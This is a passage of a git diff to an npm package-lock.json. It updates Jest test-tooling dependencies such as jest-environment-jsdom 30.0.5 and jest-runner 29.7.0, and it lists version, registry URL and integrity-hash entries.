^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-runtime/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest-environment-jsdom/node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@sinclair/typebox": "^0.34.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-runtime/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-environment-jsdom/node_modules/@jest/types": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.5.tgz", + "integrity": "sha512-aREYa3aku9SSnea4aX6bhKn4bgv3AXkgijoQgbYV3yvbiGt6z+MQ85+6mIhx9DsKW2BuB/cLR/A+tcMThx+KLQ==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" }, "engines": { - "node": ">=7.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-runtime/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "node_modules/jest-environment-jsdom/node_modules/@sinclair/typebox": { + "version": "0.34.38", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.38.tgz", + "integrity": "sha512-HpkxMmc2XmZKhvaKIZZThlHmx1L0I/V1hWK1NubtlFnr6ZqdiOpV72TKudZUNQjZNsyDBay72qFEhEvb+bcwcA==", + "dev": true, + "license": "MIT" }, - "node_modules/jest-runtime/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-environment-jsdom/node_modules/@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "dev": true, - "engines": { - "node": ">=8" + "license": "BSD-3-Clause", + "dependencies": { + "type-detect": "4.0.8" } }, - "node_modules/jest-runtime/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-environment-jsdom/node_modules/@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "has-flag": "^4.0.0" + "@sinonjs/commons": "^3.0.1" + } + }, + "node_modules/jest-environment-jsdom/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-environment-jsdom/node_modules/ci-info": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.0.tgz", + "integrity": "sha512-l+2bNRMiQgcfILUi33labAZYIWlH1kWDp+ecNo5iisRKrbm0xcRyCww71/YU0Fkw0mAFpz9bJayXPjey6vkmaQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", "engines": { "node": ">=8" } }, - "node_modules/jest-snapshot": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.0.1.tgz", - "integrity": "sha512-OuYGp+lsh7RhB3DDX36z/pzrGm2F740e5ERG9PQpJyDknCRtWdhaehBQyMqDnsQdKkvC2zOcetcxskiHjO7e8Q==", + "node_modules/jest-environment-jsdom/node_modules/jest-message-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.5.tgz", + "integrity": "sha512-NAiDOhsK3V7RU0Aa/HnrQo+E4JlbarbmI3q6Pi4KcxicdtjV82gcIUrejOtczChtVQR4kddu1E1EJlW6EN9IyA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/core": "^7.11.6", - "@babel/generator": "^7.7.2", - "@babel/plugin-syntax-jsx": "^7.7.2", - "@babel/plugin-syntax-typescript": "^7.7.2", - "@babel/traverse": "^7.7.2", - "@babel/types": "^7.3.3", - "@jest/expect-utils": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/babel__traverse": "^7.0.6", - "@types/prettier": "^2.1.5", - "babel-preset-current-node-syntax": "^1.0.0", - "chalk": "^4.0.0", - "expect": "^29.0.1", - "graceful-fs": "^4.2.9", - "jest-diff": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-haste-map": "^29.0.1", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", - "natural-compare": "^1.4.0", - "pretty-format": "^29.0.1", - "semver": "^7.3.5" + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.5", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.5", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-snapshot/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/jest-environment-jsdom/node_modules/jest-mock": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.5.tgz", + "integrity": "sha512-Od7TyasAAQX/6S+QCbN6vZoWOMwlTtzzGuxJku1GhGanAjz9y+QsQkpScDmETvdc9aSXyJ/Op4rhpMYBWW91wQ==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-util": "30.0.5" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-snapshot/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest-environment-jsdom/node_modules/jest-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.5.tgz", + "integrity": "sha512-pvyPWssDZR0FlfMxCBoc0tvM8iUEskaRFALUtGQYzVEAqisAztmy+R8LnU14KT4XA0H/a5HMVTXat1jLne010g==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/types": "30.0.5", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" }, "engines": { - "node": ">=10" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/jonschlinkert" } }, - "node_modules/jest-snapshot/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-environment-jsdom/node_modules/pretty-format": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.5.tgz", + "integrity": "sha512-D1tKtYvByrBkFLe2wHJl2bwMJIiT8rW+XA+TiataH79/FszLQMrpGEvzUVkzPau7OCO0Qnrhpe87PqtOAIB8Yw==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" }, "engines": { - "node": ">=7.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-snapshot/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-snapshot/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-environment-jsdom/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "dev": true, - "engines": { - "node": ">=8" - } + "license": "MIT" }, - "node_modules/jest-snapshot/node_modules/semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "node_modules/jest-environment-node": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", + "integrity": "sha512-DOSwCRqXirTOyheM+4d5YZOrWcdu0LNZ87ewUoywbcb2XR4wKgqiG8vNeYwhjFMbEkfju7wx2GYH0P2gevGvFw==", "dev": true, "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" }, "engines": { - "node": ">=10" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-snapshot/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-get-type": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", + "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-util": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.0.1.tgz", - "integrity": "sha512-GIWkgNfkeA9d84rORDHPGGTFBrRD13A38QVSKE0bVrGSnoR1KDn8Kqz+0yI5kezMgbT/7zrWaruWP1Kbghlb2A==", + "node_modules/jest-haste-map": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", + "integrity": "sha512-fP8u2pyfqx0K1rGn1R9pyE0/KTn+G7PxktWidOBTqFPLYX0b9ksaMFkhK5vrS3DVun09pckLdlx90QthlW7AmA==", "dev": true, "dependencies": { - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", + "@types/graceful-fs": "^4.1.3", "@types/node": "*", - "chalk": "^4.0.0", - "ci-info": "^3.2.0", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", "graceful-fs": "^4.2.9", - "picomatch": "^2.2.3" + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", + "micromatch": "^4.0.4", + "walker": "^1.0.8" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" } }, - "node_modules/jest-util/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/jest-haste-map/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, "engines": { "node": ">=8" + } + }, + "node_modules/jest-haste-map/node_modules/jest-worker": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", + "dev": true, + "dependencies": { + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-util/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest-haste-map/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "has-flag": "^4.0.0" }, "engines": { "node": ">=10" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/jest-util/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-leak-detector": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", + "integrity": "sha512-kYA8IJcSYtST2BY9I+SMC32nDpBT3J2NvWJx8+JCuCdl/CR1I4EKUJROiP8XtCcxqgTTBGJNdbB1A8XRKbTetw==", "dev": true, "dependencies": { - "color-name": "~1.1.4" + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" }, "engines": { - "node": ">=7.0.0" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-util/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-util/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-matcher-utils": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", + "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==", "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-util/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-message-util": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", + "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==", "dev": true, "dependencies": { - "has-flag": "^4.0.0" + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.6.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-validate": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.0.1.tgz", - "integrity": "sha512-mS4q7F738YXZFWBPqE+NjHU/gEOs7IBIFQ8i9zq5EO691cLrUbLhFq4larf8/lNcmauRO71tn/+DTW2y+MrLow==", + "node_modules/jest-mock": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", + "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==", "dev": true, "dependencies": { - "@jest/types": "^29.0.1", - "camelcase": "^6.2.0", - "chalk": "^4.0.0", - "jest-get-type": "^29.0.0", - "leven": "^3.1.0", - "pretty-format": "^29.0.1" + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-util": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-validate/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, "engines": { - "node": ">=8" + "node": ">=6" }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } } }, - "node_modules/jest-validate/node_modules/camelcase": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "node_modules/jest-regex-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", + "integrity": "sha512-KJJBsRCyyLNWCNBOvZyRDnAIfUiRJ8v+hOBQYGn8gDyF3UegwiP4gwRR3/SDa42g1YbVycTidUF3rKjyLFDWbg==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", + "integrity": "sha512-IOVhZSrg+UvVAshDSDtHyFCCBUl/Q3AAJv8iZ6ZjnZ74xzvwuzLXid9IIIPgTnY62SJjfuupMKZsZQRsCvxEgA==", "dev": true, - "engines": { - "node": ">=10" + "dependencies": { + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "resolve": "^1.20.0", + "resolve.exports": "^2.0.0", + "slash": "^3.0.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-validate/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest-resolve-dependencies": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", + "integrity": "sha512-un0zD/6qxJ+S0et7WxeI3H5XSe9lTBBR7bOHCHXkKR6luG5mwDDlIzVQ0V5cZCuoTgEdcdwzTghYkTWfubi+nA==", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "jest-regex-util": "^29.6.3", + "jest-snapshot": "^29.7.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-validate/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-runner": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", + "integrity": "sha512-fsc4N6cPCAahybGBfTRcq5wFR6fpLznMg47sY5aDpsoejOcVYFb07AHuSnR0liMcPTgBsA3ZJL6kFOjPdoNipQ==", "dev": true, "dependencies": { - "color-name": "~1.1.4" + "@jest/console": "^29.7.0", + "@jest/environment": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-leak-detector": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-resolve": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-util": "^29.7.0", + "jest-watcher": "^29.7.0", + "jest-worker": "^29.7.0", + "p-limit": "^3.1.0", + "source-map-support": "0.5.13" }, "engines": { - "node": ">=7.0.0" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-validate/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-validate/node_modules/has-flag": { + "node_modules/jest-runner/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", @@ -11880,105 +10295,188 @@ "node": ">=8" } }, - "node_modules/jest-validate/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-runner/node_modules/jest-worker": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", + "dev": true, + "dependencies": { + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-runner/node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "dependencies": { "has-flag": "^4.0.0" }, "engines": { - "node": ">=8" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/jest-watcher": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.0.1.tgz", - 